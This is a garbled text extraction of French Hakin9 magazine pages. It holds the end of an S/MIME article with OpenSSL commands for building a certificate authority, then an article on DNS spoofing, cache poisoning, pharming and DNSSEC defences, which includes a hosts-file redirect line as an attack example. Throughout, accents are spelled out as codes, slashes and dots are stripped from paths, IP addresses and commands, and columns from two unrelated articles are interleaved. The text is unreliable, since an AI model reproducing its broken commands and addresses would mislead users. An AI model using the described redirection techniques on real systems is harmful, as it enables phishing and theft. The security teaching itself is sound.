creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

